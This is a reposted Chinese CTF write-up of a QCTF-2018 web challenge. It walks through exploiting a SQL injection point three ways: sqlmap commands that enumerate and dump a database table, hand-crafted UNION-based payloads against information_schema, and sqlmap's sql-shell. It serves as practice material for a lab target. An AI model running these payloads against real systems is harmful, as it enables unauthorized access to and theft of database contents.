《转载》CTF笔记-Web第1弹-看我如何用多种姿势搞定一个SQL注入点

西子实验室

本篇分享知识要点:

sqlmap常用参数实例讲解

union联合查询手工注入

sql-shell 数据库交互常用命令实例讲解

题目来源:

QCTF-2018

在线CTF靶机:

攻防世界(一个非常NB的平台)

阅读完本篇文章大概需要5分钟,enjoy yourself!

姿势1:sqlmap一把梭

通过一番摸索,发现在页面搜索post数据的地方,存在一个注入点,废话不多说,拿起我的sqlmap就是一把梭!

python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbs

-u 指定注入点地址

–data 指定要注入的参数

–dbs 爆破所以数据库

在这里插入图片描述
可以看到,爆破出来2个可用数据库

除了上面的姿势,还可以使用下面的方法查询当前数据库

python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql --current-db

–dbms mysql 指定数据库类型为mysql

–current-db 爆破当前数据库

在这里插入图片描述
可以看到,当前数据库为news

有了数据库,接下来就查数据表。

查询news数据库有几张表

python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql -D news --tables

-D news 指定数据库

–tables 爆破所有数据表
在这里插入图片描述
可以看到,爆破出了2张数据表

有了数据表,接下来就是爆破字段了

查询secret_table表的字段

python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql -D news -T secret_table --columns

-T secret_table 指定数据表

–columns 爆破所有列

在这里插入图片描述
可以看到,有2个字段,id和f14g

flag字段就这么出现了,惊不惊喜,意不意外,难道这就是命运的安排吗?

还不抓紧爆一下字段内容,你还在那寻思啥呢你啊!(野狼disco)

python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --dbms mysql -D news -T secret_table --dump

–dump 爆出指定表的字段内容

在这里插入图片描述
毫无悬念,first blood!

QCTF{sq1_inJec7ion_ezzz}

姿势2:union联合注入手工猜解

常用猜解要点整理如下

判断注入点:

123’ –

'把前面的单引号闭合

–把后面的查询语句片段注释掉

判断列数:

123’ order by 3–

判断显示位:

123’ union select 1,2,3–

爆表

123’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –

爆字段

123’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘secret_table’–

爆值

123’ union select 1,group_concat(fl4g),3 from secret_table–

本题注入点为:

1’ union select 1,2,3 #

在这里插入图片描述
很明显,23为显示位

下面爆破一下当前数据名:

1’ union select 1,database(),3#
在这里插入图片描述

已经出来了,2显示位变成了news

接着就是爆破表啦:

1’ union select 1,table_name,3 from information_schema.tables where table_schema =‘news’ #
在这里插入图片描述
已经出来了,不信你看显示位2

接着就是爆破字段:

1’ union select 1,column_name,3 from information_schema.columns where table_name =‘secret_table’ #

在这里插入图片描述
那么大一个f14g,我都看见了

临门一脚了,猥琐发育,不要浪:

1’ union select 1,fl4g,3 from secret_table where id =‘1’ #在这里插入图片描述
double kill,搞定!

姿势3:sql-shell 数据库交互

python sqlmap.py -u http://111.198.29.45:50797/ --data=“search=a” --batch --sql-shell

–batch --sql-shell 获取注入点权限进入sql-shell模式
在这里插入图片描述
没错,已经拿到了sql-shell

常规操作,查询一下数据库,命令如下:

database();
在这里插入图片描述
查到了,数据库是news

接下来查询一下表吧

select group_concat(table_name) from information_schema.tables where table_schema=database()
在这里插入图片描述
查到了,数据表有2个,news和secret_table

不要慌,查询一下列

select group_concat(column_name) from information_schema.columns where table_name=‘secret_table’

在这里插入图片描述
查到了,有2个列字段,id和f14g

不要怂,获取flag内容

select id,f14g from secret_table limit 0,1
在这里插入图片描述
很遗憾,最后没能获取到flag,可能是我的姿势不对吧,2333,求指点~

以上就是第1弹分享的全部内容,第2弹正在路上

转载微信公众号《西子实验室》

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值